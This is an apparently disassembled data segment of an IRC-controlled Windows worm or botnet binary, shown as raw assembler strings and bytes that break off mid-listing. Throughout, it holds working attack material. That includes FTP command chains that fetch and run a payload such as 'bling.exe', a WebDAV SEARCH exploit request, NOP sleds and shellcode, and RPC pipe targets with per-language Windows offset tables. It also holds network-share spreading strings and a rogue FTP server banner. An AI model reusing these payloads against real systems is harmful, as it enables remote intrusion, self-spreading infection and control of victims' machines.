DATA XREF: seg000:0040C804o aGetLevel16Exec db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: seg000:0040C7A1o db 0Ah,0 align 4 dword_432E08 dd 0 ; DATA XREF: sub_40C89B+9Ao asc_432E0C: ; DATA XREF: sub_40C89B+17o ; sub_40C979+17o unicode 0, <\\>,0 align 4 off_432E14 dd offset dword_49005C ; DATA XREF: sub_40C89B+Co ; sub_40C979+Co dd offset aWarshafsky+4 dd 24h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040CC88o align 4 aThcownziis db 'THCOWNZIIS!',0 ; DATA XREF: seg000:0040CF5Eo dword_432E40 dd 0FEBh ; DATA XREF: seg000:0040CF53o aBling_exe db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40D055+85o aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40D055+42o db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0 align 10h a7_0 db '7.0',0 ; DATA XREF: seg000:0040D7CFo a6_0 db '6.0',0 ; DATA XREF: seg000:0040D7BEo a5_0 db '5.0',0 ; DATA XREF: seg000:0040D7ADo a4_0 db '4.0',0 ; DATA XREF: seg000:0040D79Co aHotfix2 db 'hotfix2',0 ; DATA XREF: seg000:loc_40D78Bo a8_15 db '8.15',0 ; DATA XREF: seg000:loc_40D75Eo align 10h a8_14 db '8.14',0 ; DATA XREF: seg000:loc_40D604o align 4 a8_13 db '8.13',0 ; DATA XREF: seg000:loc_40D5DAo align 10h a8_12 db '8.12',0 ; DATA XREF: seg000:loc_40D5B0o align 4 a8_11 db '8.11',0 ; DATA XREF: seg000:loc_40D583o align 10h a8_10 db '8.10',0 ; DATA XREF: seg000:loc_40D556o align 4 a8_05 db '8.05',0 ; DATA XREF: seg000:loc_40D529o align 10h a8_04 db '8.04',0 ; DATA XREF: seg000:loc_40D4FCo align 4 a8_03 db '8.03',0 ; DATA XREF: seg000:loc_40D4CFo align 10h a8_02 db '8.02',0 ; DATA XREF: seg000:loc_40D4A2o align 4 a8_01 db '8.01',0 ; DATA XREF: seg000:loc_40D475o align 10h a8_00 db '8.00',0 ; DATA XREF: seg000:loc_40D448o align 4 a7_15 db '7.15',0 ; DATA XREF: seg000:loc_40D41Bo align 10h a7_14 db '7.14',0 ; DATA XREF: seg000:0040D3EEo align 4 a7_13 db '7.13',0 ; DATA XREF: seg000:loc_40D3DDo align 10h a7_12 db '7.12',0 ; DATA XREF: seg000:loc_40D3B0o align 4 a7_11 db '7.11',0 ; DATA XREF: seg000:0040D383o align 10h a7_10 db '7.10',0 ; DATA XREF: seg000:loc_40D372o align 4 a7_07 db '7.07',0 ; DATA XREF: seg000:0040D348o align 10h a7_06 db '7.06',0 ; DATA XREF: seg000:loc_40D337o align 4 a7_05 db '7.05',0 ; DATA XREF: seg000:loc_40D30Do align 10h a7_04 db '7.04',0 ; DATA XREF: seg000:0040D2DBo align 4 aImail db 'IMail',0 ; DATA XREF: seg000:0040D2C1o ; seg000:loc_40D7DEo align 10h dword_432F80 dd 6EB06EBh, 0 ; DATA XREF: sub_40D7FE+17Ao ; sub_40DDD9+1A2o aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D7FE+27o ; sub_40DDD9+27o ... align 4 dword_432F94 dd 1CEC8166h ; DATA XREF: sub_40D7FE+Dr ; sub_40DDD9+Dr dword_432F98 dd 0E4FF07h ; DATA XREF: sub_40D7FE+16r ; sub_40DDD9+16r aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40E3B2+177o align 4 aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40E3B2+51o dword_432FC4 dd 90909090h, 909010EBh, 90909090h, 0 ; DATA XREF: sub_40E3B2+42o dword_432FD4 dd 90909090h, 5803EB90h, 0F8E805EBh, 0B9FFFFFFh, 0FFFFFFFFh ; DATA XREF: sub_40E3B2+35o dd 0EE7FE981h, 0C12BFFFFh, 0E0FFh aAdik db 'ADIK',0 ; DATA XREF: sub_40E3B2+28o align 4 aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40E3B2+1Co align 4 dword_433008 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_40E3B2+10o dd 0FFFFFFFFh, 0 aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: seg000:0040E5D0o align 10h aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: seg000:0040E5A9o align 4 asc_433048: ; DATA XREF: sub_40E971+31Eo unicode 0, <`>,0 dword_43304C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40E971+2F2o dword_433058 dd 30h ; DATA XREF: sub_40E971+2C6o dword_43305C dd 0A1h ; DATA XREF: sub_40E971+29Ao dword_433060 dd 3 ; DATA XREF: sub_40E971+243o aCccc db 'CCCC',0 ; DATA XREF: sub_40E971+14Bo align 4 dword_43306C dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40E971+E0o dbl_433078 dq 1.388888888888889e-2 ; DATA XREF: sub_40EEBD+3Ar dbl_433080 dq 1.666666666666667e-1 ; DATA XREF: sub_40EEBD:loc_40EED8r dbl_433088 dq 4.294967296e9 ; DATA XREF: sub_40EEBD+15r ; sub_40EEBD+30r ... dbl_433090 dq 1.333333333333333 ; DATA XREF: sub_40F47A:loc_40F4F1r aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40F5F6+63o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: seg000:0040F728o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 aAdmin db 'admin$',0 ; DATA XREF: sub_40F87A+3Do align 4 asc_433144: ; DATA XREF: sub_40F87A+32o ; seg000:00414B48o unicode 0, <\>,0 asc_433148 db '\\',0 ; DATA XREF: sub_40F87A+19o align 4 a8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40FA56+Co align 4 aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: seg000:0040FB79o align 4 unk_43319C db 2Dh ; - ; DATA XREF: sub_40FDC3+211o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 62h db 69h ; i db 6Fh, 73h, 3 db 2 aExploitingIpSS db '- Exploiting IP: %s, Share: \%s, User: (%s/%s)',0 aNoPassword db '(no password)',0 ; DATA XREF: sub_40FDC3+1EAo align 4 aSSS_2 db '%s\%s\%s',0 ; DATA XREF: sub_40FDC3+CAo align 4 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: sub_40FDC3+71o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: sub_40FDC3+6Ao align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: sub_40FDC3+63o aSIpc_0 db '%s\ipc$',0 ; DATA XREF: seg000:00410101o aS_1 db '\\%s',0 ; DATA XREF: seg000:004100C3o ; seg000:0041105Bo align 4 aSPipeLsarpc db '\\%s\pipe\lsarpc',0 ; DATA XREF: seg000:004105C6o align 10h aSIpc_1 db '\\%s\IPC$',0 ; DATA XREF: seg000:00410818o align 4 aSD_1 db '%s%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 aSearchSHttp1_1 db 'SEARCH /%s HTTP/1.1',0Dh,0Ah db 'Host: %s',0Dh,0Ah db 'Content-type: text/xml',0Dh,0Ah db 'Content-Length: ',0 a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 aWin2kSp0FromPh db 'Win2K SP0 From PhaTTy 1',0 aWin2kSp1FromPh db 'Win2K SP1 From PhaTTy 2',0 aWin2kSp2FromPh db 'Win2K SP2 From PhaTTy 1',0 aWin2kSp3FromPh db 'Win2K SP3 From PhaTTy 1',0 aWin2kSp4FromPh db 'Win2K SP4 From PhaTTy 3',0 aWin2kSp4From_0 db 'Win2K SP4 From PhaTTy 2',0 aWin2kSp1From_0 db 'Win2K SP1 From PhaTTy 1',0 aWin2kSp4From_1 db 'Win2K SP4 From PhaTTy 1',0 aDosXpAll db 'DoS XP ALL',0 align 4 aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 24',0 align 10h aWindowsUk2k3_0 db 'Windows uk 2k3 ee sp0 23',0 align 4 aWindowsUk2k3_1 db 'Windows uk 2k3 ee sp0 22',0 align 4 aWindowsUk2k3_2 db 'Windows uk 2k3 ee sp0 21',0 align 4 aWindowsUk2k3_3 db 'Windows uk 2k3 ee sp0 20',0 align 10h aWindowsUk2k3_4 db 'Windows uk 2k3 ee sp0 19',0 align 4 aWindowsUk2k3_5 db 'Windows uk 2k3 ee sp0 18',0 align 4 aWindowsUk2k3_6 db 'Windows uk 2k3 ee sp0 17',0 align 4 aWindowsUk2k3_7 db 'Windows uk 2k3 ee sp0 16',0 align 10h aWindowsUk2k3_8 db 'Windows uk 2k3 ee sp0 15',0 align 4 aWindowsUk2k3_9 db 'Windows uk 2k3 ee sp0 14',0 align 4 aWindowsUk2k_10 db 'Windows uk 2k3 ee sp0 13',0 align 4 aWindowsUk2k_11 db 'Windows uk 2k3 ee sp0 12',0 align 10h aWindowsUk2k_12 db 'Windows uk 2k3 ee sp0 11',0 align 4 aWindowsUk2k_13 db 'Windows uk 2k3 ee sp0 10',0 align 4 aWindowsUk2k_14 db 'Windows uk 2k3 ee sp0 9',0 aWindowsUk2k_15 db 'Windows uk 2k3 ee sp0 8',0 aWindowsUk2k_16 db 'Windows uk 2k3 ee sp0 7',0 aWindowsUk2k_17 db 'Windows uk 2k3 ee sp0 6',0 aWindowsUk2k_18 db 'Windows uk 2k3 ee sp0 5',0 aWindowsUk2k_19 db 'Windows uk 2k3 ee sp0 4',0 aWindowsUk2k_20 db 'Windows uk 2k3 ee sp0 3',0 aWindowsUk2k_21 db 'Windows uk 2k3 ee sp0 2',0 aWindowsUk2k_22 db 'Windows uk 2k3 ee sp0 1',0 aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 24',0 align 4 aWindowsUk2k_23 db 'Windows uk 2k3 se sp0 23',0 align 4 aWindowsUk2k_24 db 'Windows uk 2k3 se sp0 22',0 align 4 aWindowsUk2k_25 db 'Windows uk 2k3 se sp0 21',0 align 10h aWindowsUk2k_26 db 'Windows uk 2k3 se sp0 20',0 align 4 aWindowsUk2k_27 db 'Windows uk 2k3 se sp0 19',0 align 4 aWindowsUk2k_28 db 'Windows uk 2k3 se sp0 18',0 align 4 aWindowsUk2k_29 db 'Windows uk 2k3 se sp0 17',0 align 10h aWindowsUk2k_30 db 'Windows uk 2k3 se sp0 16',0 align 4 aWindowsUk2k_31 db 'Windows uk 2k3 se sp0 15',0 align 4 aWindowsUk2k_32 db 'Windows uk 2k3 se sp0 14',0 align 4 aWindowsUk2k_33 db 'Windows uk 2k3 se sp0 13',0 align 10h aWindowsUk2k_34 db 'Windows uk 2k3 se sp0 12',0 align 4 aWindowsUk2k_35 db 'Windows uk 2k3 se sp0 11',0 align 4 aWindowsUk2k_36 db 'Windows uk 2k3 se sp0 10',0 align 4 aWindowsUk2k_37 db 'Windows uk 2k3 se sp0 9',0 aWindowsUk2k_38 db 'Windows uk 2k3 se sp0 8',0 aWindowsUk2k_39 db 'Windows uk 2k3 se sp0 7',0 aWindowsUk2k_40 db 'Windows uk 2k3 se sp0 6',0 aWindowsUk2k_41 db 'Windows uk 2k3 se sp0 5',0 aWindowsUk2k_42 db 'Windows uk 2k3 se sp0 4',0 aWindowsUk2k_43 db 'Windows uk 2k3 se sp0 3',0 aWindowsUk2k_44 db 'Windows uk 2k3 se sp0 2',0 aWindowsUk2k_45 db 'Windows uk 2k3 se sp0 1',0 aWindowsUkXpPro db 'Windows uk xp pro sp1 25',0 align 4 aWindowsUkXpP_0 db 'Windows uk xp pro sp1 24',0 align 4 aWindowsUkXpP_1 db 'Windows uk xp pro sp1 23',0 align 10h aWindowsUkXpP_2 db 'Windows uk xp pro sp1 22',0 align 4 aWindowsUkXpP_3 db 'Windows uk xp pro sp1 21',0 align 4 aWindowsUkXpP_4 db 'Windows uk xp pro sp1 20',0 align 4 aWindowsUkXpP_5 db 'Windows uk xp pro sp1 19',0 align 10h aWindowsUkXpP_6 db 'Windows uk xp pro sp1 18',0 align 4 aWindowsUkXpP_7 db 'Windows uk xp pro sp1 17',0 align 4 aWindowsUkXpP_8 db 'Windows uk xp pro sp1 16',0 align 4 aWindowsUkXpP_9 db 'Windows uk xp pro sp1 15',0 align 10h aWindowsUkXp_10 db 'Windows uk xp pro sp1 14',0 align 4 aWindowsUkXp_11 db 'Windows uk xp pro sp1 13',0 align 4 aWindowsUkXp_12 db 'Windows uk xp pro sp1 12',0 align 4 aWindowsUkXp_13 db 'Windows uk xp pro sp1 11',0 align 10h aWindowsUkXp_14 db 'Windows uk xp pro sp1 10',0 align 4 aWindowsUkXp_15 db 'Windows uk xp pro sp1 9',0 aWindowsUkXp_16 db 'Windows uk xp pro sp1 8',0 aWindowsUkXp_17 db 'Windows uk xp pro sp1 7',0 aWindowsUkXp_18 db 'Windows uk xp pro sp1 6',0 aWindowsUkXp_19 db 'Windows uk xp pro sp1 5',0 aWindowsUkXp_20 db 'Windows uk xp pro sp1 4',0 aWindowsUkXp_21 db 'Windows uk xp pro sp1 3',0 aWindowsUkXp_22 db 'Windows uk xp pro sp1 2',0 aWindowsUkXp_23 db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg002:004415A8o aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0 align 10h aWindowsNlSp123 db 'Windows nl sp1 23',0 align 4 aWindowsNlSp122 db 'Windows nl sp1 22',0 align 4 aWindowsNlSp121 db 'Windows nl sp1 21',0 align 4 aWindowsNlSp120 db 'Windows nl sp1 20',0 align 10h aWindowsNlSp119 db 'Windows nl sp1 19',0 align 4 aWindowsNlSp118 db 'Windows nl sp1 18',0 align 4 aWindowsNlSp117 db 'Windows nl sp1 17',0 align 4 aWindowsNlSp116 db 'Windows nl sp1 16',0 align 10h aWindowsNlSp115 db 'Windows nl sp1 15',0 align 4 aWindowsNlSp114 db 'Windows nl sp1 14',0 align 4 aWindowsNlSp113 db 'Windows nl sp1 13',0 align 4 aWindowsNlSp112 db 'Windows nl sp1 12',0 align 10h aWindowsNlSp111 db 'Windows nl sp1 11',0 align 4 aWindowsNlSp110 db 'Windows nl sp1 10',0 align 4 aWindowsNlSp19 db 'Windows nl sp1 9',0 align 4 aWindowsNlSp18 db 'Windows nl sp1 8',0 align 10h aWindowsNlSp17 db 'Windows nl sp1 7',0 align 4 aWindowsNlSp16 db 'Windows nl sp1 6',0 align 4 aWindowsNlSp15 db 'Windows nl sp1 5',0 align 4 aWindowsNlSp14 db 'Windows nl sp1 4',0 align 10h aWindowsNlSp13 db 'Windows nl sp1 3',0 align 4 aWindowsNlSp12 db 'Windows nl sp1 2',0 align 4 aWindowsNlSp11 db 'Windows nl sp1 1',0 align 4 aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg002:00441418o align 4 aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0 align 4 dword_433DB4 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: seg000:0041118Do dword_433DC8 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0 ; DATA XREF: seg000:00411143o aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: seg000:004110ECo align 10h aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00411682o ; sub_41C9D4+1Fo aEchoOpenSDOE_1 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 43202D03h dd 6E65696Ch, 6F632074h, 63656E6Eh, 6E6F6974h, 6F726620h dd 5049206Dh, 7325203Ah, 2E64253Ah, 0 dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 45202D03h dd 726F7272h, 6962203Ah, 2928646Eh, 69616620h, 2C64656Ch dd 74657220h, 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 6E6E6F63h, 62746365h, 26B6361h, 45202D03h dd 726F7272h, 6F73203Ah, 74656B63h, 66202928h, 656C6961h dd 72202C64h, 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 20313232h dd 646F6F47h, 20657962h, 70706168h, 30722079h, 6E697430h dd 0A2E67h, 20353234h, 276E6143h, 706F2074h, 64206E65h dd 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh, 0 dd 234032Dh, 64707466h, 202D0203h, 746E6573h, 6C696620h dd 6F742065h, 732520h, 20363232h, 6E617254h, 72656673h dd 6D6F6320h, 74656C70h, 0A2E65h, 234032Dh, 64707466h dd 202D0203h, 72617473h, 676E6974h, 61727420h, 6566736Eh dd 6F742072h, 732520h, 20303531h, 6E65704Fh, 20676E69h dd 414E4942h, 6D205952h, 2065646Fh, 61746164h, 6E6F6320h dd 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_8 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: seg002:00442F58o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: seg002:00442F64o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_1 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_5 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_412135+64Do align 8 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_412135+61Do align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_412135+58Eo align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_412135:loc_412658o align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_412135+51Co align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_412135+476o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_412135+439o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_412135:loc_412502o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_412135+3C6o align 4 aSS_3 db '%s%s/',0 ; DATA XREF: sub_412135+379o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+335o ; sub_412135+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_412135+308o align 4 aS_2 db '<%s>',0 ; DATA XREF: sub_412135+2DEo ; sub_412135+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_412135+2B4o aAm db 'AM',0 ; DATA XREF: sub_412135+293o align 4 aPm_0 db 'PM',0 ; DATA XREF: sub_412135+288o align 4 a__ db '..',0 ; DATA XREF: sub_412135+231o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135:loc_412276o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 8 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+F2o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_412135+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_412135+6Eo db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135+45o aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4128A1+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_41D779+17Do align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 align 4 aApplicationOct db 'application/octet-stream',0 align 10h aTextHtml db 'text/html',0 align 4 unk_43484C db 2Dh ; - ; DATA XREF: seg000:00412DA6o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStartW db ' failed to start worker thread, error %d',0 align 4 unk_434884 db 2Dh ; - ; DATA XREF: seg000:00412D34o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_4348B8: ; DATA XREF: seg000:00412C80o unicode 0, <*>,0 aS_9 db '\%s',0 ; DATA XREF: seg000:00412B59o db 2Dh ; - db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4348E8 db 0Dh,0Ah,0 ; DATA XREF: sub_41D235+E9o align 4 aGet_1 db 'GET ',0 align 4 dword_4348F4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: seg000:0041339Do aServerFailed_0 db '- server failed, returned %d',0 align 10h aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: seg000:00413330o dword_434938 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: seg000:004132D8o aClientConnecti db '- client connection from %s:%d.',0 align 8 unk_434968 db 2Dh ; - ; DATA XREF: seg000:004135DCo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_4349A8 db 2Dh ; - ; DATA XREF: seg000:00413566o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_37 db 'Failed to start client thread, error: <%d>.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h dword_434A70 dd 234032Dh, 676F6C72h, 2646E69h, 50202D03h, 6F746F72h ; DATA XREF: seg000:loc_41382Fo dd 206C6F63h, 69727473h, 7420676Eh, 6C206F6Fh, 2E676E6Fh dd 0 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 55202D03h, 20726573h dd 67676F6Ch, 6F206465h, 203A7475h, 4073253Ch, 2E3E7325h dd 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6553203Ah, 6F697373h, 6E75526Eh, 203A2928h, 3E64253Ch dd 2Eh, 234032Dh, 676F6C72h, 2646E69h, 55202D03h, 20726573h dd 67676F6Ch, 69206465h, 3C203A6Eh, 25407325h, 2E3E73h dd 6D726550h, 69737369h, 64206E6Fh, 65696E65h, 0A64h, 234032Dh dd 676F6C72h, 2646E69h, 45202D03h, 726F7272h, 6567203Ah dd 65657074h, 6D616E72h, 3A292865h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 45202D03h, 726F7272h, 6573203Ah dd 72657672h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434CF8 db 2Dh ; - ; DATA XREF: sub_413CD4+BFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 